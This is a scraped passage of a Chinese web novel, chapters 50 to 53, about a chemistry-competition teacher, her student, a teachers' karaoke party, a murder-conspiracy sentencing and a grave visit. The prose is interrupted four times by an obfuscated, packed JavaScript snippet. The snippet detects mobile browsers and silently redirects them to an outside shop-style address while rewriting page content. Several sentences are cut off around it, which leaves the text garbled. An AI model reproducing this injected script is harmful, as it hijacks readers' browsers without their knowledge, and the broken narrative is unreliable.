“哦,那倒没有,”天天跟那帮对着鹦鹉都能吵个来回的家伙斗嘴,突然来了个一句话能回答两个问题的闷葫芦,唐瑜嫣还怪不习惯的,“我只是怕你闭门造车。” “我知道你已经是这个集训营的第一了,但其他的集训营也有高手。而且竞赛不像高考,就算你是第一也肯定有很多题写不透彻。” “怎么说呢,小严,其实,咱们作为最聪明的灵长类动物,既然发明了语言文字,就要学会适当表达自己的需求,有些时候,掌心向上也不失为一个好选择。” “所以你大可以像冯熠他们一样,更胆大包天一点。优秀不是困住你的包袱……” 怪不得当时老陈老盯着她转,原来也是怀揣着这种心情——孩子太懂事、太会自学了也不完全是件好事,显得他们老师很没有用武之地的同时,又让他们担心自家孩子遇到所有问题都自己扛着,走错路后一通瞎忙活,就算撞了南墙也不死心。 毕竟,再懂事的孩子也还是孩子。不能因为他们省心,就忽略了他们同样会犯错、会有不懂的事情,他们同样需要年长一辈的大人关心。 突如其来的煽情环节让严鹏飞实在有些手足无措,他上下左右各瞄了几眼,初初长成的喉结上下滚动几番后还是欲言又止。 “……” “你是觉得不好意思,还是这件事对于你来说有些困难?”见他说不出话,唐瑜嫣只得继续拿自己举例子。 “嗯……老陈是你班主任,你应该知道他的热心吧。那时候刚开始学竞赛,他每天都定时定点来我身边送温暖,问我这个会不会,那个难不难,他一说话我就别扭得不行。” “但后来被日夜熏陶,可能是近朱者赤,近墨者黑吧。我突然就发现有个人能在旁边到处晃悠还挺踏实的。” “小唐老师,我不知道怎么说……但这只是我自己的学习方法,我觉得自己钻研比问老师有效。”严鹏飞垂下眼眸,盯着膝上拇指交叉相转的手,斟酌了一会儿。 “我有些时候比较喜欢钻进一些小概念里刨根问底,可能并不适宜现在考试学习,只是一种个人的思考,连老师也不一定能答得上来……这样弄得双方都不高兴。” 还在幼崽期的严鹏飞也曾经抱着五彩斑斓的绘本,和一大堆小朋友一起,围在那个在课上说过“好奇心是人类科学进步的源泉”的老师的身边。 孩子们七嘴八舌地问,“海水为什么是蓝色的?” “因为它反射了太阳的光呀!”老师笑意盈盈地回答。 “哎!那太阳光是蓝色的吗?” “不是,太阳光是白色的,包含了红橙黄绿蓝靛紫,只是蓝光波长短,散射能力强,更容易被人们看见。” “哦,谢谢老师!”得到了答案的小朋友们蹦蹦跳跳地抓走了老师手里的玻璃糖,给老师留下了一群上下舞动着冲天炮和羊角辫的背影。 “小严?你还有什么问题吗?”为他们科普小知识的老师刚把散落在地的绘本收拾好,一转身就发现了还在原地慢慢挪动脚步的严鹏飞。 “嗯……老师,我想知道,你刚刚说七彩光组成了太阳白光,那太阳为什么会发光呢?” “啊,这个呀……因为它本身就会发光啊!”着急着回家做饭的幼儿园老师把绘本叠成一摞,堆在实木书架上。 “总要有一个原因……”严鹏飞不依不饶。 “小严,别钻牛角尖了,太阳之所以是太阳,就是因为它会发光,不发光还怎么是太阳?” “可……”严鹏飞在她愈发不悦的眼神下闭上嘴,可这就是诡辩,他想知道的根本不是这个。 “好了小严,别再纠结这个了!你一直是一个不吵不闹,替我省心的好孩子不是吗?不要跟那帮坏孩子学坏了!你看,你的妈妈已经在门口等了你很久了。” 她温柔地抚摸让严鹏飞如坐针毡,挣扎了半天还是把最后一本绘本放回了书架。 这样的事情还发生了几回,久而久之严鹏飞彻底失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406499|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了找老师问问题的念头。 直到上初中的时候,偶然间又有一次,他遇到了一道想尽所有办法都解不出的物理题。 魏浩见他埋头算了几个课间还没个结果,自告奋勇地揣了张草稿纸过来,说要给他展示一下江湖人称魏哥的真正实力。 可惜这人再狂也只点了数学专精,上上下下画了无数个鬼画符,也没摸索出个正规解法,最终憋出一句,“要不咱们用微积分吧,我看二重积分很适合的,数理不分家嘛……” 话虽如此,可是众所周知,中学考试的时候用超纲的解法不仅要写一遍证明过程,还常常被扣几分步骤分。 严鹏飞叹了口气,走投无路之下打算求助他们的物理老师。 “中考不会考的!”那个地中海小老头推了推眼镜,“咱们中考这么简单,这题太难了,听我的,不要把时间浪费在这个上面了!” “……我只是想知道这题怎么做,我写了一个早上了。”严鹏飞低下头,跟眼前这个把他的题目丢到一边,开始劈里啪啦改卷的物理老师认真解释。 “哎呀,小严,学聪明点,不考的题目没必要花这么多时间搞懂,我们能考出一个高分出来就行了,你说呢?你上次还考了年级第三是不是?” 又是聪明,又是浪费时间……… 严鹏飞突然有些想吐,他只是想知道问题的答案,为什么,为什么大家都要说这种自以为撑场面的东西…… 算了吧,既然如此,也没必要和他们浪费我的时间。 他打算搪塞几句地中海想听的聪明话,没想到旁边的魏浩在这时候炸了,眼疾手快地把地中海手上的红笔抽出来丢进垃圾桶,抄起他的备课本一顿输出。 “嘿,做不出来就做不出来嘛,扯什么应试教育!你看看你,平时夹个本子装模作样,真以为大家不知道这上面一个字都没有,你以为你那地五步怎么来的!还不是因为你不出五步必写错!” “嘿,你还敢推我,师德呢!师风呢!信不信我向校长举报你隔三差五上课迟到早退,被抓包了以后还非要狡辩,说你只是在考察谁比你还到得晚!呵呵,你以为有人信吗!” “还有,你敢说你备过课吗!每次进来张口就是要把舞台留给学生,然后自己冠冕堂皇地躺在旁边喝茶抠脚!我现在就去举报!看看到底是你先完蛋还是我先完蛋!” “然后没过一个月他就被开除了,当然魏浩也被口头教育了几句,同时按需赔偿丢失的那支红笔。”严鹏飞简要地介绍了一下这人的结局,“因为宋校回来当校长了。” 有过这样的经历,还想问老师问题的才是少数吧,被唐瑜嫣鼓励着讲完自己的倒霉经历后,他尴尬地抿唇,“小唐老师,我信得过你,信得过宋校,也信得过老陈,但其他的老师……” “那就从问我们开始,慢慢适应,不用打乱你自己的节奏,但实在理不清的东西可以不用再继续为难自己了,”唐瑜嫣建议并保证,“虽然我也不一定会,但一定不会敷衍你。我翻一晚上文献也给你全打包发过去。” “啧……你知道吗,我也不想说你是最棒的这种话,总之我们化学竞赛就需要你这种深耕型人才!” 回想起自己被那些犄角旮旯里的知识点支配的绝望,她面无表情地冲严鹏飞竖起了大拇指。 51. 第 51 章 “哎,冯哥,你知道为什么今晚老师们六点就集体下班结束答疑了吗?” “……因为他们和咱一样,也结课了,只是我们结课是结课,明天还有考试,他们结课就彻底放假了。” 冯熠一边抬手将即将跳踢踏舞的闹钟拍熄火,一边郁郁不平地用笔尖和试卷搏斗。 “还说什么过时不候,让我们自个儿挑灯夜读……哦,不是夜读,是早点休息,放松一下,养精蓄锐,明天要考一整天。然后他们要去享受那劳什子晚宴了。” “什么!不行冯哥我听不得这个,我心脏病要犯了。”听他这么一解释,那人更受不住了,连忙摁住胸膛,连呼了一大串呜呼哀哉。 “反了,换个地儿捂,心脏在左边。” 冯熠暂时顾不上搭理他,虽说是要早点睡放松一下,但明天自己就得上场当木桶的最短板了,就算只能再长出两公分,也得尽量少漏些水。 “唔,估摸着到了这个点,他们那边应该已经开场了吧。”冯熠忍不住想。 与他们宿舍内飘荡的愁云惨淡完全相反,老师们这边可谓是欢声笑语、喜气洋洋,上班和下班果真是两种完全不同的心态。 “……如今站在这里,我思绪万千。虽然,我们已经为过去的一个月,画上了一个完美的句号,但请相信,未来,仍有等待我们奔赴的下一程山水。” “在此,请允许我隆重宣布,咱们本次教师岗外省培训,圆满结束了!” 在这个象征着集训结束的“毕业典礼聚会”上,宋飞珑高举酒瓶,率先灌出了一整座香槟塔,然后宣布,“这段时间大家都辛苦了,今天晚上好好休息,玩得尽兴!” 宋公子财大气粗,为他们包了一整个宴会厅和一整套配套的娱乐设施,期间还有人弹那高山流水,舞那惊鸿之曲,好不痛快。 可惜他们一帮理科老师没几个通晓高雅的交响乐,鼓掌喝彩之后,纷纷表明自己是没见识的下里巴人,还是去附赠的ktv包厢大展自己的歌喉吧! 虽然唐瑜嫣并不大想在一堆前老师现领导前面唱歌,但自己总不能扫这个兴,于是也去凑了个人头,当了会儿巅峰歌王争霸赛的观众。 “小唐,我跟你说个秘密嗷,你知道吗……近…问题……我…慰啊!” 老陈刚唱完一首六十年代的乡村爱情故事,走回来一屁股坐进了这个位于灯红酒绿边缘的沙发上,冲唐瑜嫣露出慈祥又傻气的笑容。 “?什么?老陈你说大声一点,太吵了听不见。”猝不及防地,唐瑜嫣愣了愣,反应了几秒,还是辨认不出他想表达什么。 她将耳朵往老陈那边凑,试图减少声音的传播距离以增大其振幅。 “咳咳!我说——最近这段时间,小严竟然来问我问题了,不多,三天一个,但收集一个学期可以整理出一套练习小测了!说真的,我倍感欣慰啊!” 这下声音又太大了,整个ktv厅里合唱的、对唱的、拼酒的、喊马的、打牌的都在百忙之中往他们这边瞥了一眼,也不管说的是什么,只管拍着手起哄。 “喔唷,老陈好精神!” “这嗓音!声势不减当年啊!” 唐瑜嫣嘴角抽搐,她好不容易才从包厢中心逃出来,找了个阴暗的小角落缩着休息一下,这下好了,又成被众星捧月的那个了。 她抬手扶住老陈的肩,诚恳地建议:“老陈,要不咱们还是把工作和休息分开点吧,在ktv讲这个怪瘆人的……” “怎么就不行了……我……”老陈激动一拍沙发。 “你喝醉了,真的。”唐瑜嫣弯曲手指,叩了叩桌子上那两瓶名存实亡的啤酒瓶,清脆的声音在空腔内回荡。 他们平时晚自习多,应酬少,老师们的酒量基本得不到锻炼,老陈更是堪堪沾了两杯就陷入微醺,酒精一上脸,也能比肩半个含苞待放的少女。 “这才几口啊,怎么可能醉!”老陈不以为然,“你都比我喝得多!走了,老盛,咱俩再唱一曲!我要让他们知道谁才是铁山第一歌神!” “……你们这样让远在铁山的老韦情何以堪,他和他的巨著们头几个提出反对。” 唐瑜嫣见他们勾肩搭背地走到大厅中间,赶紧再往里缩了缩,心里忍不住嘀咕,“也不知道宋飞珑跑哪去了,再听几首我就溜……?” “嗯?等等,这是在唱什么?”像是在证明自己仍有清醒的大脑,这俩人站上去后猛地拍了拍话筒,半点前摇没有,脖子一伸就是唱,发了狠,忘了情地唱。 “——偷走我的鸭子卖给村中王志勇,也会怕有一天会被刀——好刀!”中气十足,红光满面,生怕场内有一个人听不清,“……都阔以!也会怕有一天你会刀我!” 洪亮,十分能打九分的洪亮。非要说有什么问题,就是唐瑜嫣真的很疑惑——旋律好熟悉,歌词好陌生,声音好自信,原唱听不清,所以这是……哪首歌? “豪庭,太豪庭了!”有人率先鼓掌,为她揭晓了答案,“好一首《海阔天空》!好汉不提当年勇,临阵磨枪,威风凛凛似当年啊!” “好诗!好诗啊!”老盛笑着抚掌,广发天下英雄帖,“看还有哪位英雄豪杰愿来一战!我们决战紫禁之巅!” “哈哈哈哈既然如此,那邱某就来献丑了!” “感谢你特别邀请,来见证你的爱情……却始终不愿相信,这是命!!!” “——见证你们爱情的!嘉!宾!” “太好哭了,好有质感的声音,把主角参加前任婚礼的绝望与不舍到最后的祝福期待展现得淋漓尽致,老邱!歌神当你莫属啊!” “哈哈哈,惭愧,惭愧,诸位谬赞了!”老邱双手合十,向周围的气氛组全方位弯腰鞠躬,翘起来的嘴角压都压不平。 唐瑜嫣也在摸鱼间隙尽职尽责地让左手和右手相互扇了几巴掌,嚎了几嗓子……好吧并没有嚎,她拉不下这个脸,总之是勤勤恳恳地划完了水。 做完这一切后,她打开手机看了眼时间,觉得差不多可以了,是时候该深藏功与名。 她环视了一圈后,偷偷摸摸地从后方摸黑溜出房间。 那些已经被自己的唱功和别人的吹捧蒙蔽了双眼的歌手,哪能注意到后门地轻轻开合?唐瑜嫣很轻而易举地就完成了这项战术撤离工作。 她一关门,周围的空气立马安静下来,一种莫名其妙地劫后余生感从心底慢慢升起。 她真真是落后时代了,连公鸭嗓改名叫很有质感的嗓音都不知道。 所以这种好事怎么能给宋飞珑躲掉了呢,他人呢!秉承着既然贫道已死,那道友也别想独活的理念,唐瑜嫣打算把他也抓来受受苦,至少也得跟老陈对拼几曲。 于是,她准备以包厢后门为起点开始绕圈。 这个宴会酒店四通八达,堪比迷宫,她绕了老半天都没弄清那几条走廊长得有什么区别。 终于,在她已经快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我…我可能要提前一点回去,明天早上吧。可能没办法陪孩子们考试了。”宋飞珑的声音突然变得闷闷的,“我二叔前段时间被我妈弄回国告上法庭了,明天开庭审。” “你们不是已经……” “上次是争家产,这次是告他蓄意买凶伤人。几个月前,我妈他们找到了那个撞了她后逃逸四年多的司机,那人被十几个律师围着轮流吓,没到一个小时就把所有事全倒出来了。” “我妈要亲自把他摁死在绞刑架上了。虽然就算我妈不说,我也不可能放过他……我,我就是在担心小君,他快中考了吧,这些破事跟他没关系,可这是他爸爸,他……” 他能怎么办呢?他也要失去父亲,也要过上与之前截然不同的生活,重塑一遍自己的骨骼,他甚至还是一个未成年。 “那你三叔呢?”唐瑜嫣没有顺着他的话往下问,反而顾左右而言他。 “他分管的公司资金流转早就出问题了,原本想靠争来的家产起死回生的,打完上一轮官司后他就蹦不动了,带着三婶连夜偷渡到了东南亚,不知道躲到哪个村子了。连我妈到现在都找不到他们。” “我二叔还在国内做了几年生意,铁证出来之后才跑出国,有了上次的教训,他一落地就我妈他们盯住了。我妈在那边也是有持枪证的,总之很顺利地就把他请回来了。” “……我陪你一起回去,他们考试我呆在这也没用。我在这早一天晚一天也没区别,不如跟你一起回去。”唐瑜嫣握住他的手背,掌心附着的暖气温度缓缓过渡到他身上。 “不用,真的不用。我就是回去走个过场,看个仪式,也不用做什么……既然他们不用陪,我也不用陪,你就在这多玩几天。好不容易来一趟,还一直在上班,都没顾得上到处走走。” 宋飞珑温声拒绝她的好意,又带着些淡淡的讥讽,“我们家这一地鸡毛的事儿,没什么好看的。” 52. 第 52 章 “如果我非要陪呢?”一个斩钉截铁的问句。 “宋飞珑,没有这样的。你不能在分享快乐的时候才想到我,在陷入挣扎的时候就把我拉到身后,我不需要你的过度保护。”唐瑜嫣平静地陈述,“我们是情侣。” “我知道,但我只是觉得没必要,”宋飞珑垂下眼眸,“我不想让你被卷进这种扯皮都扯不清楚的事儿,烂透了。” 且他自己回去又能怎样?不过是走个过场,当一回看客。他的父亲早已安眠,不必去搅他的清静;二叔触碰法律红线,在等待着自己的因果报应;三叔行踪成谜,是否还存在于这人世间都成问题。 所谓兄弟阋墙、妻离子散,如此之唏嘘,一个大家庭在顷刻时间便可分崩离析。 “如果我非要呢?”唐瑜嫣又重复了一次,像是一定要获得一个准确的答案,“可不可以?” “……当然可以,如果这是你所期待的话。”宋飞珑把她抱得更紧了,险些让她喘不上气,“虽然可能与我的想法相悖,但你的选择至高无上。” “那订票吧,还是说你有私人飞机?”唐瑜嫣二话不说便从口袋里掏出手机,开始翻阅第二天的航班。 正值大学生返乡季,临期的飞机票价一路飘红,唐瑜嫣一边问,一边随手划了划。半晌没听到身后人的答复,她转回头看他,“说话。” “早上七点零五那班,我帮你买吧,坐我旁边。”宋飞珑缓过神来,忙不迭应答,又故作轻松地调侃,“唉,每次来这边都有突发情况,早知道就应该把飞机停这儿了。可怜小唐这次只能陪我凌晨起床赶路了。” 上次也是这次也是,每次都是在西德这边的时候出现突发状况,宋飞珑也有些无奈,难道真是风水原因?西德的水火土木就这么不利他? “人不行别怪路不平,下次记得提前申航线,再多买几架飞机,管他南德北德东德西德的,通通直达。” “好好好,干完这一票大的,我就去享受金迷纸醉。”宋飞珑单手点了几下屏幕,把手机还给她,“好了,还帮你绑了个亲密付,以后家里的经济大权就交到你手上了!” 可惜他的无私奉献不仅没让唐瑜嫣感到惊喜,反而有些让她有些匪夷所思。 “?亲密付?这不是爸爸给儿子绑的东西吗?限额不到一万的玩意,别人霸总给副卡,你给亲密付?你是富二代吗?” “我是学二代,去德育处的那帮孩子们就是这么干的,我是在与时俱进呢!”这人装作臭屁地叉腰,想起什么后,又牵起她手,说:“月之精华吸收完毕,走吧,回去收拾行李,咱们夜里行军。” 为这场聚会结账的人就是有底气,九点不到就抓着唐瑜嫣直接开溜,留下一帮还在努力举办歌王争霸赛的热血中年。 这帮不胜酒力的歌王候选人一个赛一个拼命,把嗓子吼穿也不带停,喉咙干了拿起酒水一润就草草了事。 所以你瞅瞅,是不是上了年纪的男人都这样,小半杯酒便足以诉一整条衷肠。 最终不知道是谁这么有先见之明,提前就订下了叫停服务,十二点准时熄火断电。 来提醒他们的服务员们身强体壮,三下五除二便把他们全拎回了酒店房间。在离场之时,还有好几位歌手对着他们不服气地大喊:“我没醉,我没醉,我们要决战到天明!” 天明?与其讨论这个,不如看看明天有多少人醒酒后想起今晚的丢脸行为还敢认账? 可惜宿醉难醒,他们可能在日上三竿之前都不会再有大动静了。 不过在城市另一头的唐瑜嫣与宋飞珑倒和日出打了个照面。彼时航班刚起飞,太阳从远端的山头爬起,天穹之上,霞光朗朗,一片清明。 西德一中里,不知是睡了还是学了一个晚上的孩子们揉着惺忪的眼,走向证明自己这阶段学习成果的试炼台,或许全世界都在羡慕,他们大有吼出乾坤未定,你我皆是黑马的勇气。 其实这天在唐瑜嫣后来的记忆里变得很淡,所涉及的人和事上都蒙着淡淡的白光。 她好像始终握着宋飞珑的手,陪着他走进法庭,听那庄严的宣誓,那带着五星红旗的徽章高挂中央,他们坐在台下看着法官敲下重重一锤,然后一切都变得如雷贯耳。 “被告人宋寅犯故意杀人罪共同犯罪,事实清楚,证据确实、充分,指控罪名成立,因造成驾驶人员伤亡,判处死刑,剥夺政治权利终身。” 声音如此有力,坐在被告席上的那个男人竟因此泪光闪烁。那泪光里,不知掺了几分因钱伤人的悔恨,几分棋差一招的不甘。 宋飞珑想,这个算计了别人命运一辈子的男人,竟然在为自己生命的凋零而撼哭,真是如此之讽刺,在名利场搏杀了一辈子,终究还是镜花水月一场空。 宋飞珑的目光四处逡巡,并没有找到自己的二婶和堂弟,或许是他们不忍听到判决结果,又或许是不想面对被押送走的丈夫和父亲,早早离场了。 “走吧……”他收回目光,压下心中翻涌的情绪,拉着唐瑜嫣的手起身,“明女士叫我们跟她一起吃个饭。” “我也……?”唐瑜嫣还没反应过来,这人的手上竟是头一回出了汗,不知是因为想到了宋董,还是因为提到了明女士的邀约。 “嗯,她想见见你,她对你好奇很久了。”宋飞珑想了想,安抚她,“没事,我在这呢。” “这就是你从大学就喜欢的小女朋友?过年打电话那个?终于舍得带回来给我看了?”一家私房菜馆里,刚在法庭上叱咤风云的明女士抿了一口茶。 简单干练,这大概是唐瑜嫣对这位西装革履的女性的第一印象。面对她的诘问,唐瑜嫣刚想开口解释就被宋飞珑打断。 “什么话,这不是您整天在律所加班,没把握住机会嘛,小唐这段时间在我旁边的时间可比您多多了。”宋飞珑眯着眼笑,“别给咱乱添罪名嗷,明律师。” “我不加班哪有你的甩手掌柜,吃水别忘挖井人啊。”明岚嘲讽地笑了两声。 “我这不也为您提供资金支持了嘛,集团上下哪个不是被我忽悠来打工的,我也算是卖了嘴皮子,体力劳动呢。”宋飞珑又不动声色地把球传回去。 见他们母子左推过来,右推过去,半天没个正题,唐瑜嫣忍不住主动开口表示礼貌,“阿姨好,我叫唐瑜嫣,也是附中的学生。我很崇拜您,本市最有名的金牌律师。” “看看人家小姑娘,多会讲话,哪像你,一张嘴就知道呛我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406501|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”明岚白了宋飞珑一眼,又看向唐瑜嫣,“小唐不用客气,这小子能找到女朋友我都够高兴的了,我还以为他要和他那劳什子教育观过一辈子呢。” “嘿,明女士你怎么还人生攻击上了,我这人生观价值观怎么就碍着您了,非要我成白眼狼您才满意是吧!”宋飞珑张口继续斗法。 “上一个白眼狼已经被我送进大牢了,怎么,你也想试试吗?”明岚屈指扣了扣桌面,微微泄出了些在法庭上未散尽的气势,咄咄逼人。 “哎哎哎,干什么干什么呢!您怎么能在光天化日之下威胁一个公正守法好公民!”宋飞珑笑着开启防御模式。 他开完玩笑后又没忍住问:“那小君呢,您打算怎么办,他也是咱们宋家的一员啊。” “怎么着?你还想株连九族啊?那咱们也跑不掉。”明岚端起刚上上来的汤,乳白色的汤面被旋转的汤匙一点点搅浑,“你看着办呗,这是你们下一辈的事儿了,我去掺和什么?” “好了,吃吧,别聊这些有的没的。小唐,我送过去的衣服你喜欢吗?穿过没?” “哎呀,老师也可以好好打扮一下自己,哦,你怕被学生表白丢教师资格证啊!没事,出了事大不了我来做你的辩论律师!” 她抬头点了点桌上的虾,示意儿子剥给女朋友吃,又好心提醒,“吃完记得带小唐去跟你爸也打个招呼,带几束花儿,别让宋董少了排场。” “放心吧,妈,我哪次去给我爸短过面子。”宋飞珑快速地除了几只虾的壳,放进唐瑜嫣的碗里,征求她的意见:“小唐,你想去见我爸吗?还是想再准备一下?他可能住得有点偏,离这的话,开车一个多小时吧。” “……想的,我也想见见宋董。”想到了什么并不很合时宜的事,唐瑜嫣垂下眼,夹起一颗虾仁,让它在酱料碟里滚了几圈,“他不仅是你的父亲,也是我的老校长。” “行,那妈你……” “我早上去过了,就不占用你们和宋诚互诉衷肠的时间了,我在那你们也不自在。”明岚平淡地下判决书,“有什么话自己去跟你爸说去。” “我爸喜欢康乃馨。”跟明女士告别后,宋飞珑载着唐瑜嫣,驱车前往离他们那最近的一家花店。 “很奇怪吧。之前有人给他送过几盆蛮名贵兰花,想赞颂他品质高洁。” “他收到后一连浇了好几天水,没想到花瓣反倒蔫了一半。宋董立马当了甩手掌柜,边扔给我边感慨,感慨这花容易死,他可没心思侍弄,只有我这种闲散人士才能养得好。” 宋飞珑呼叫店员帮忙打包,盯着眼前红色、黄色层层叠叠,揉碎晕染在一起的温柔花束,他继续补充。 “康乃馨……康乃馨就不一样了,好养活,也是送给老师的花。以前每到教师节或者毕业季,我们家里就充满康乃馨的清香。” “现在就没有吗?你也成校长了,也很受学生欢迎吧。”唐瑜嫣接过花束,看着他的眼睛,那里面难得的装了许多捉摸不透的事物,“你也成为为别人遮风的大树了。” “我还远远不够格呢,一切的一切都只在半途中。”宋飞珑抚平了她的乱发,温和地弯弯唇角,“好在这条路并不拥挤,你我尚可并肩同行。” 53. 第 53 章 宋董的安眠地的确是个依山傍水的好地方,远离城市喧嚣,平时也不会被他人打扰,只有亲朋好友来看望时,才会敞开迎客大门。 不过今天倒是个特殊日子,短短半天已经有三拨人来过为他的茶杯添新茶了。 看到白芷婷和小君站在宋诚照片面前,宋飞珑心里也有些诧异。尽管如此,他还是面不改色地拉着唐瑜嫣的手走过去,抬手跟他们打招呼,“二婶,小君,好久不见。” 与他的从容自若相反,听见他的声音后,白芷婷的反应可就激烈多了。 她的身子僵了僵,随后立马让到一边,把主位留给他们俩。做完这一系列动作,她的脸上露出一个不自在且尴尬的笑容,“小珑,巧啊……那个,打扰到你们了吧,没事,我们马上就走。” “哎,不用不用,我爸也乐得见你们来,他以前最常念叨着家和万事兴,二婶还能记着探访,也是给我爸面子。”宋飞珑温声婉言留客。 话虽如此,白芷婷还是连连摆手推辞,“抱歉,是我们越界了……” 大抵是因为不想打扰宋董休息,她还特意压低声音:“唉…宋寅干出了那种糊涂事,我们哪还算清清白白的宋家人。” “不过是这段时间来回周转各地,奔波之余,总想起大哥前些年的照拂。想来想去,便是做些出格的事,我们也要来给他添上这柱香。过完年,我就打算带着小君搬回老家了。” “二叔做的事跟您和小君又没有关系,小君也快中考了吧,不适合到处转校,这边教育肯定比您老家好,倒不如留下来,等小君上大学了以后再说……小君呢,小君有什么打算?” 见白芷婷不松口,无论说什么都只回一些客套话。宋飞珑只好把话题抛向了旁边咬着唇沉默许久的堂弟。 一晃许多年没见,他们竟阴差阳错地都有了些留洋的经历。宋飞珑自觉没多大变化,他的初心难忘,饮大洋水不过是增长阅历,但堂弟倒不一定还有当年看热闹的心境。 “前段时间白人饭吃吐了吧,顿顿都是奶酪吐司火腿,还是火锅炒饭炖汤更符合我们中国胃。”他笑着摸小君的头。 “难吃到吐了!什么狗屁养身料理,什么狗屁高质量素食……而且他们厕所里还全是……唉!” 小君重重地叹了一声,颇有些郁闷地向外吐着字,字里行间还藏着些纯真跳脱的影子,“妈,哥,我的朋友们都在这边,我不想转学,在那边还要重新建交际圈,好累。” 这孩子越说越难过,眼眶里还浅浅地蓄上了几颗小珍珠。他用力吸了吸鼻子,试探性地问:“哥,之前我爸一直不让我说,我…我其实,一直想去你们那读高中,你看,行吗……” “可以,当然可以!到时候让这个姐姐来当你班主任好不好?不过你要努力了哦,我们学校可不是那么好考的!” 宋飞珑对付青少年儿童的经验丰富,见他眼眶一红,立马轻声哄他,还递过一张纸去。此时旁边竟有一只手比他更快——另一张纸被递向了白芷婷。 “抱……抱歉,谢谢你,这位……唐吗,好的,唐小姐。”白芷婷接过纸,绕着眼眶四周抿了抿,“对不起啊,有些失态了。那个,两位,家里还热着饭,我带着小君先回去了。” 她这么一说,宋飞珑下意识抬手看表,3:04,一个不尴不尬的时间。 不过他并没有继续坚持下去,只道:“好的,二婶,大年三十吃年夜饭请务必要来,有什么其他困难也可以打我电话。” “好的,好的,到时候再看情况吧,先谢谢小珑了,替我向你妈问好。”白芷婷向他们俩深深地鞠了一躬,身旁的小君也照样学样,跟着她做了个半曲不直的动作。 完毕,他俩走向了来时的青石板路。 来时倾盆大雨,青石板上积了些不太明显水洼,好在此时阳光普照,积水反光,虽有湿身,倒也不至滑倒。 宋飞珑目送完他们俩的身影消失,才重新转过身来,低着头看唐瑜嫣,“好了,到我们自己的时间了。”眼神中有些说不清的意味,像是仍未完全放下心。 “啧,你刚刚什么话。不会又准备忽悠一个孩子入坑,把他拐去参加化学竞赛吧?”唐瑜嫣冷不丁冒出这么一句,像一道冷风划开了周围迟滞凝固的空气。 “怎么会!”宋飞珑无奈失笑,“咱们竞赛部可是要靠真才实学才能进的,严打关系户!” “原来不是求着别人进吗?别给自己脸上贴金了。”唐瑜嫣怜悯地拍拍他的肩,“主动进去的一大半都是想玩手机的,这种在我们这叫便宜没好货。” “我爸在这呢,你小声点,维护一下我英明伟岸的形象好吗!”宋飞珑严肃地捂住她的嘴,接过她怀里的鲜花,向她一阵挤眉弄眼,确保她不会再拆他台后,蹲下将花束靠在宋董照片的旁边。 照片上的人年轻且锐气,还是个年轻的大学毕业生,眼角边带着几分风发的笑意,看上去和这束与落日融金般色彩的花很不搭。 “爸,我来看你了。和我的女朋友,如果她愿意的话,以后也会是我的夫人。”看着父亲的笑颜,宋飞珑深吸一口气,试图转化心情,开启他的演讲。 “爸你以前演讲的时候说不定见过她,虽然她可能在底下写作业,不过十有八九是你的演讲太无聊了……” “总而言之,我们认识了很多年,中间也错过了很多年,但我始终认定她就是我的灵魂伴侣,我们会相伴走过更长更长的路。” “我不知道我妈今早怎么跟您揭我短的。明女士口含天宪,平时我可不敢跟她顶嘴,但我还是得澄清一下,您的公司,我管的可好了!从上到下全都是靠我这了得的嘴皮子功夫忽悠来的打工人!” “也不全是忽悠吧,我开得价高,公司福利待遇好,也不逼着人加班,大部人是被我人格魅力吸引来的!”宋飞珑越讲越来劲,眉毛快飞上了天。 “哦,我上次来不是还跟您说过,我回附中当校长了吗?附中现在欣欣向荣,不过这事儿大家都有份,我就不冒领大家的功劳了!让咱教师代表给您述会儿职!”他起身把唐瑜嫣拉过来。 “在这儿报告年终总结吗?他可真有想象力。”唐瑜嫣有些咋舌,思考了一会儿才开口,“宋董好,我是唐瑜嫣,是五年前的一名毕业生,也是现如今附中的一名化学老师。” “您的儿子,现校长宋飞珑先生,目前是我的男朋友。他在今年给我送了37次鲜花,62次美丽废物,成功把我空荡荡的家填满。” “他今年燃放了26次烟花,其中包括仙女棒若干,在铁山校运会上大放异彩,赢得了无数学生及毕业学生的一致好评,直播及录播一共获得了38562个点赞。” “这一年里,他拖欠过0次工资,主动发奖金12次,被老师们誉为铁山财神爷。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406502|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明年,我们附中将有2438位学生要走上中学阶段最终的考场,请您保佑!”唐瑜嫣一口气吐完这段科学有效又严谨的列数字,又虔诚地连鞠三次躬,“致此,礼敬!” 